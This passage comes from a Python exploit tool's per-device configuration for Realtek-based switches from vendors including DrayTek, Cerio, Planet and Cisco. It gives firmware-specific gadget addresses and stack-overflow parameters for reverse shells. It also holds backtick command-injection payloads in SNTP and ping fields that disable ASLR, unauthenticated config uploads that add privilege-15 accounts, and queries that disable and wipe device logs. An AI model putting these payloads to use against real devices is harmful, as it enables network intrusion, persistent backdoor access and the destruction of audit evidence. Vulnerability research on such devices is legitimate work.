'sys_timeSntp_set':0x425260,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject RCE)
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntpDel_set()
'sys_timeSntpDel_set':0x425260,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSettings_set()
'sys_timeSettings_set':0x425260,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable': True,
          }, 
'heack_cgi_shell': {
'cgi':'security.cgi',      # /sqfs/home/web/cgi-bin/security.cgi; main()
'START':0x100181A0,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x104006A0,        # end: You may want to play with this if you dont get it working
'usr_nop': 987,          # NOP sled (shellcode will be tailed)
'pwd_nop': 69,          # filler/garbage (not used for something constructive)
'align': 0,            # Align opcodes in memory
'stack':False,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,
          },
        },
      },

      #
      # Xhome (identical with Realtek)
      #
      # CGI Reverse Shell      : Yes
      # Boa/Hydra reverse shell: Yes
      # Del /var/log/ram.log   : Yes
      # Del /var/log/flash.log : No
      # Del /mntlog/flash.log  : No
      # Add credentials        : Yes
      # Del credentials        : Yes
      #
'222-64895': {
'template':'Xhome',          # Static for the vendor
'version':'3.0.0.43126',      # Version / binary dependent stuff
'model':'DownLoop-G24M',      # Model
'uri':'http://www.xhome.com.tw/product_info.php?info=p116_XHome-DownLoop-G24M----------------------------------------.html',
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40E6DC,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f99851c,      # la $t9, system) # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x24841ea8,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)
'vulnerable': True,
          },
'stack_cgi_add_account': {
'vulnerable': False,
          },
'stack_cgi_del_account': { #
'vulnerable': False,
          },
'stack_cgi_diag': {
            # Ping IPv4
'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space&count=1',
'verify_uri':'/tmp/pingtest_tmp',
'web_sys_ping_post':0x4229A0,  # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_ping_post()

            # traceroute
            #'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/traceroute_tmp #&tr_maxhop=30&count=1',
            #'verify_uri':'/tmp/traceroute_tmp',
            #'web_sys_ping_post':0x423188,  # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_trace_route_post()
'vulnerable': True,
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_setting_post()
'log_settings_set':0x481988,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
'log_ramClear':0x4847FC,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
'log_fileClear':0x4847FC,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,
          },
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
'stack_cgi_sntp': {
'sys_timeSntp_set':0x42C910,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject CMD)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
'sys_timeSntpDel_set':0x42C910,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post()
'sys_timeSettings_set':0x42B6F8,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable': True,
          }, 
'heack_cgi_shell': {
'cgi':'dispatcher.cgi',      # /sqfs/home/web/cgi-bin/dispatcher.cgi; main()
'query':'username=_USRNOP&password=_PWDNOP_RA_START&login=1&_USRNOP_USRNOP_SHELLCODE',
'START':0x7fff7004,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x7fc60000,        # end: You may want to play with this if you dont get it working
'usr_nop': 28,          # NOP sled (shellcode will be tailed)
'pwd_nop': 20,          # filler/garbage (not used for something constructive)
'align': 0,            # Align opcodes in memory
'stack':True,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,
          },
        },
      },

      #
      # Pakedgedevice & Software
      #
      # CGI Reverse Shell      : Yes
      # Boa/Hydra reverse shell: No (cannot point JMP correct into NOP on heap)
      # Del /var/log/ram.log   : Yes
      # Del /var/log/flash.log : Yes
      # Del /mntlog/flash.log  : Yes
      # Add credentials        : Yes
      # Del credentials        : Yes
      #
'225-21785': {
'model':'SX-8P',
'template':'Pakedge',          # Static for the vendor
'version':'1.04',              # Version / binary dependent stuff
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40C86C,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f998538,      # la $t9, system # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x248492ec,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)
'vulnerable': True,
          },
'stack_cgi_diag': {
'vulnerable': False,
          },
'stack_cgi_add_account': {
'vulnerable': False,
          },
'stack_cgi_del_account': { #
'vulnerable': False,
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_global_set()
'log_settings_set':0x413AEC,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
'log_ramClear':0x413A14,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
'log_fileClear':0x413A14,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,
          },
'stack_cgi_sntp': {
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
'sys_timeSntp_set':0x4108E4,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject RCE)
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
'sys_timeSntpDel_set':0x4108E4,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
'sys_timeSettings_set':0x4108E4,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable': True,
          }, 
'heack_cgi_shell': {
'cgi':'set.cgi',        # /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set()
'START':0x7ffeff04,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x7fc60000,        # end: You may want to play with this if you dont get it working
'usr_nop': 64,          # NOP sled (shellcode will be tailed)
'pwd_nop': 77,          # filler/garbage (not used for something constructive)
'align': 3,            # Align opcodes in memory
'stack':True,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,
          },
        },
      },

      #
      # Draytek
      #
      # CGI Reverse Shell      : Yes
      # Boa/Hydra reverse shell: No (cannot point JMP correct into NOP on heap)
      # Del /var/log/ram.log   : Yes
      # Del /var/log/flash.log : Yes
      # Del /mntlog/flash.log  : Yes
      # Add credentials        : Yes
      # Del credentials        : Yes
      #
'752-95168': {
'template':'DrayTek',          # Static for the vendor
'version':'2.1.4',            # Version / binary dependent stuff
'model':'VigorSwitch P1100',        #
'uri':'https://www.draytek.com/products/vigorswitch-p1100/',
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40C67C,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f99852c,      # la $t9, system # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x248490ac,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)
'vulnerable': True,
          },
'stack_cgi_diag': {
'vulnerable': False,
          },
'stack_cgi_add_account': {
'vulnerable': False,
          },
'stack_cgi_del_account': { #
'vulnerable': False,
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_global_set()
'log_settings_set':0x413E34,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
'log_ramClear':0x413D64,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
'log_fileClear':0x413D64,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,
          },
'stack_cgi_sntp': {
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
'sys_timeSntp_set':0x410CA8,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject RCE)
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
'sys_timeSntpDel_set':0x410CA8,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
'sys_timeSettings_set':0x410CA8,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable': True,        # 
          }, 
'heack_cgi_shell': {
'cgi':'set.cgi',        # /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set()
'START':0x7ffeff04,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x7fc60000,        # end: You may want to play with this if you dont get it working
'usr_nop': 64,          # NOP sled (shellcode will be tailed)
'pwd_nop': 77,          # filler/garbage (not used for something constructive)
'align': 3,            # Align opcodes in memory
'stack':True,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,
          },
        },
      },

      #
      # Cerio
      #
      # CGI Reverse Shell      : Yes
      # Boa/Hydra reverse shell: Yes
      # Del /var/log/ram.log   : Yes
      # Del /var/log/flash.log : Yes
      # Del /mntlog/flash.log  : Yes
      # Add credentials        : Yes
      # Del credentials        : Yes
      #
'224-5061': {
'template':'Cerio',          # Static for the vendor
'version':'1.00.29',        # Version / binary dependent stuff
'model':'CS-2424G-24P',        #
'uri':'https://www.cerio.com.tw/eng/switch/poe-switch/cs-2424g-24p/',
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40E6DC,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f998524,      # la $t9, system # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x248411bc,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)
'vulnerable': True,
          },
'stack_cgi_add_account': {
'vulnerable': False,
          },
'stack_cgi_del_account': { #
'vulnerable': False,
          },
'stack_cgi_diag': {
                            # /sqfs/home/web/cgi/set.cgi;  cgi_diag_traceroute_set()
'sys_ping_post_cmd':'&srvHost=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1',
'sys_ping_post_check':'',
'web_sys_ping_post':0x40E114,  # Jump one after 'sw $ra'      # (address, binary dependent)

'verify_uri':'/tmp/check',
'vulnerable': True,        # 
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_global_set()
'log_settings_set':0x41DB4C,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
'log_ramClear':0x41DA94,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
'log_fileClear':0x41DA94,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,
          },
'stack_cgi_sntp': {
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
'sys_timeSntp_set':0x415F14,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject RCE)
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
'sys_timeSntpDel_set':0x415F14,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
'sys_timeSettings_set':0x415F14,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable': False,      # 
          }, 
'heack_cgi_shell': {
'cgi':'set.cgi',        # /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set()
'START':0x7ffeff04,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x7fc60000,        # end: You may want to play with this if you dont get it working
'usr_nop': 64,          # NOP sled (shellcode will be tailed)
'pwd_nop': 77,          # filler/garbage (not used for something constructive)
'align': 3,            # Align opcodes in memory
'stack':True,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,
          },
        },
      },

      #
      # Abaniact
      #
      # CGI Reverse Shell      : Yes
      # Boa/Hydra reverse shell: Yes
      # Del /var/log/ram.log   : Yes
      # Del /var/log/flash.log : No
      # Del /mntlog/flash.log  : No
      # Add credentials        : Yes
      # Del credentials        : Yes
      #
'222-45866': {
'template':'Abaniact',          # Static for the vendor
'version':'116B00033',        # Version / binary dependent stuff
'model':'AML2-PS16-17GP L2',      # Model
'uri':'https://www.abaniact.com/L2SW/',
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40E65C,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f998524,      # la $t9, system) # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x2484152c,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)
'vulnerable': True,
          },
'stack_cgi_add_account': {
'vulnerable': False,
          },
'stack_cgi_del_account': { #
'vulnerable': False,
          },
'stack_cgi_diag': {
            # Ping IPv4
            #'sys_ping_post_cmd':'ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space&count=1',
            #'verify_uri':'/tmp/pingtest_tmp',
            #'web_sys_ping_post':0x4296FC,  # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_ping_post()

            # traceroute
'web_sys_ping_post':0x429F58,  # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_trace_route_post()
'sys_ping_post_cmd':'ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/traceroute_tmp #&tr_maxhop=30&count=1',
'verify_uri':'/tmp/traceroute_tmp',
'vulnerable': True,
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_setting_post()
'log_settings_set':0x4B4FE4,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
'log_ramClear':0x4BA5D0,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
'log_fileClear':0x4BA5D0,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,
          },
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
'stack_cgi_sntp': {
'sys_timeSntp_set':0x43764C,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject CMD)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
'sys_timeSntpDel_set':0x43764C,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post()
'sys_timeSettings_set':0x431CC4,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable': False,
          }, 
'heack_cgi_shell': {
'cgi':'dispatcher.cgi',      # /sqfs/home/web/cgi-bin/dispatcher.cgi; main()
'query':'username=admin&password=_PWDNOP_RA_START&login=1&shellcod=_USRNOP_USRNOP_USRNOP_SHELLCODE',
'START':0x7ffe6e04,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x7fc60000,        # end: You may want to play with this if you dont get it working
'stack':True,          # NOP and shellcode lays on: True = stack, False = Heap
'usr_nop': 53,          # NOP sled (shellcode will be tailed)
'pwd_nop': 45,          # filler/garbage (not used for something constructive)
'align': 0,            # Align opcodes in memory
'vulnerable': True,
'workaround':True,  # My LAB workaround

          },
        },
      },

      #
      # TG-NET Botone Technology Co.,Ltd.
      # (Traces in this image: 3One Data Communication, Saitian, Sangfor, Sundray, Gigamedia, GetCK, Hanming Technology)
      #
      # CGI Reverse Shell      : Yes
      # Boa/Hydra reverse shell: Yes
      # Del /var/log/ram.log   : Yes
      # Del /var/log/flash.log : No
      # Del /mntlog/flash.log  : No
      # Add credentials        : Yes
      # Del credentials        : Yes
      #
'222-81176': {
'template':'TG-NET',          # Static for the vendor
'version':'3.1.1-R1',          # Version / binary dependent stuff
'model':'P3026M-24POE (V3)',        # Model
'uri':'http://www.tg-net.net/productshow.asp?ProdNum=1049&parentid=98',
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40C74C,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f99851c,      # la $t9, system) # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x2484a2d4,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)
'vulnerable': True,
          },
'stack_cgi_diag': {
'vulnerable': False,
          },
'stack_cgi_add_account': {
'vulnerable': False,
          },
'stack_cgi_del_account': { #
'vulnerable': False,
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_setting_post()
'log_settings_set':0x46AC10,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
'log_ramClear':0x46E368,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
'log_fileClear':0x46E368,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)

'vulnerable': True,
          },
'stack_cgi_sntp': {
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
'sys_timeSntp_set':0x42243C,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject CMD)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
'sys_timeSntpDel_set':0x42243C,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post()
'sys_timeSettings_set':0x424DE0,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)

'vulnerable':False,
          }, 

          # Interesting when there is a fresh heap with 0x00's (4 x 0x00 == MIPS NOP),
          # and to fill wider area with sending '&%8f%84%01=%8f%84%80%18' where:
          # 
          # NOP's
          # '24%04%FF=' : '=' will be replaced with 0x00, li $a0, 0xFFFFFF00
          # '%24%04%FF%FF' : li $a0, 0xFFFFFFFF
'heack_cgi_shell': {
'cgi':'dispatcher.cgi',      # /sqfs/home/web/cgi-bin/dispatcher.cgi; main()
'query':'username='+ self.random_string(112) +'_RA_START&password='+ self.random_string(80) +'&login=1'+ ('&%24%04%FF=%24%04%FF%FF' * 50) +'_SHELLCODE',
'START':0x10010104,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP' :0x10600604,        # end: You may want to play with this if you dont get it working
'usr_nop': 28,          # NOP sled (shellcode will be tailed)
'pwd_nop': 20,          # filler/garbage (not used for something constructive)
'align': 0,            # Align opcodes in memory
'stack':False,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,
          },
        },
      },

    }

    #
    # Vendor templates, Vendor_ETag() will be merged to here
    # (dont delete anything here thats not moved to Vendor_ETag())
    #

    Vendor_Template = {
      #
'Planet': {
'vendor': 'PLANET Technology Corp.',
'modulus_uri':'',
'info_leak':False,
'info_leak_JSON':False,
'info_leak_uri':'',
'xsid':False,
'xsid_uri':'',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':False,
'encryption':'clear',
'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'query':'username=USERNAME&password=PASSWORD&login=1',
'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547',
'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
'vulnerable': True,
'safe': True
        },
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':False,
'disable_uri':'/cgi-bin/dispatcher.cgi',
'disable_query':'LOGGING_SERVICE=0&cmd=5121',
'status':'',
'clean_logfile_uri':'/cgi-bin/dispatcher.cgi',
'clean_logfile_query':'cmd_5132=Clear+file+messages',
'clean_logmem_uri':'/cgi-bin/dispatcher.cgi',
'clean_logmem_query':'cmd_5132=Clear+buffered+messages',
'vulnerable': True,
'safe': True
        },
        # Verify lacking authentication
'verify': {
'httpuploadbakcfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadbakcfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!', # one 0x20 in beginning
'vulnerable': True,
'safe': True
            },
'httpuploadruncfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadruncfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!', # one 0x20 in beginning
'vulnerable': True,
'safe': True
            },
'httprestorecfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httprestorecfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!', # one 0x20 in beginning
'vulnerable': True,
'safe': True
            },
'httpupload.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload.cgi',
'check_uri':'',
'content':'dummy',
'content_check':'Image Signature Error',
'vulnerable': True,
'safe': True
            },
'dispatcher.cgi': { # 'username' also suffer from stack overflow
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'response':'502',
'Content-Type':False,
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username=admin&password='+ self.random_string(184) + '&login=1',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
        },
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
'vulnerable': True,
'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
          },
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'json':False,
'authenticated': False,
'encryption':'md5',
'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" secret encrypted PASSWORD\n\n------',
            #'encryption':'nopassword',
            #'content':'Content-Type\n\nconfig-file-header\nusername "USERNAME" nopassword\n\n------', # Yep, working too
'add_uri':'/cgi-bin/httpuploadruncfg.cgi',
'del_query':'', 
'del_uri':'/cgi-bin/dispatcher.cgi?cmd=526&usrName=USERNAME',
'vulnerable': True,
'safe': True
          }, 
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':False,
'authenticated': True,
'enable_uri':'/cgi-bin/dispatcher.cgi',
'enable_query':'sntp_enable=1&cmd=548',
'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
'inject_uri':'/cgi-bin/dispatcher.cgi',
'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550',
'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550',
'delete_uri':'/cgi-bin/dispatcher.cgi',
'delete_query':'sntp_Server=+&sntp_Port=123&cmd=550',
'disable_uri':'/cgi-bin/dispatcher.cgi',
'disable_query':'sntp_enable=0&cmd=548',
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
          },
          #
          # The stack overflow in 'username' and 'password' at same request are multipurpose.
          #

          #
          # The trick to jump and execute:
          # 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
          # 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
          # 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
          # 4. We will also feed required function parameters, by adding them to '_CMD_'
          #
'stack_cgi_diag': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,

'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'&_CMD_&login=1',
'sys_ping_post_check':'',
'sys_ping_post_SIGSEGV': False,    # SIGSEGV ?

'workaround':True,  # My LAB workaround

'vulnerable': True,
'safe': True

          },
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'_CMD_&login=1',

'log_settings_set_cmd':'&LOGGING_SERVICE=0',# Disable Logging CMD
'log_settings_set_SIGSEGV':False,      # Disable Logging SIGSEGV ?

'log_ramClear_cmd':'',            # Clean RAM log CMD
'log_ramClear_SIGSEGV':False,        # Clean RAM log SIGSEGV ?

'log_fileClear_cmd':'',            # Clean FILE log CMD
'log_fileClear_SIGSEGV':False,        # Clean FILE log SIGSEGV ?

'workaround':True,  # My LAB workaround
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
          },
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'_CMD_&login=1',

'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123',
'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123',

'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=123',

'sys_timeSettings_set_cmd_enable':'&sntp_enable=1',
'sys_timeSettings_set_cmd_disable':'&sntp_enable=0',
'sys_timeSettings_set_SIGSEGV': False,    # SIGSEGV ?

'workaround':True,  # My LAB workaround
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
          }, 

          #
          # After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
          # Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
          #
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&login=1',
'workaround':True,  # My LAB workaround
'stack':True, # False = use Heap, and there are no ASLR
'vulnerable': True,
'safe': True
          },

        },
      },

'Cisco': { 
'vendor': 'Cisco Systems, Inc.',
'model':'Sx220',
'uri':'https://www.cisco.com/c/en/us/support/switches/small-business-220-series-smart-plus-switches/tsd-products-support-series-home.html',
'modulus_uri':'/cgi/get.cgi?cmd=home_login',
'info_leak':True,
'info_leak_JSON':True,
'info_leak_uri':'/cgi/get.cgi?cmd=home_login',
'xsid':True,
'xsid_uri':'/cgi/get.cgi?cmd=home_main',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'rsa',
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=home_loginStatus',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'vulnerable': True,
'safe': True
        },
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':True,
'disable_uri':'/cgi/set.cgi?cmd=log_settings',
'disable_query':'{"_ds=1&ram_sev_0=on&ram_sev_1=on&ram_sev_2=on&ram_sev_3=on&ram_sev_4=on&ram_sev_5=on&ram_sev_6=on&_de=1":{}}',
'status':'/cgi/get.cgi?cmd=log_settings',
'clean_logfile_uri':'/cgi/set.cgi?cmd=log_fileClear',
'clean_logfile_query':'{"":{}}',
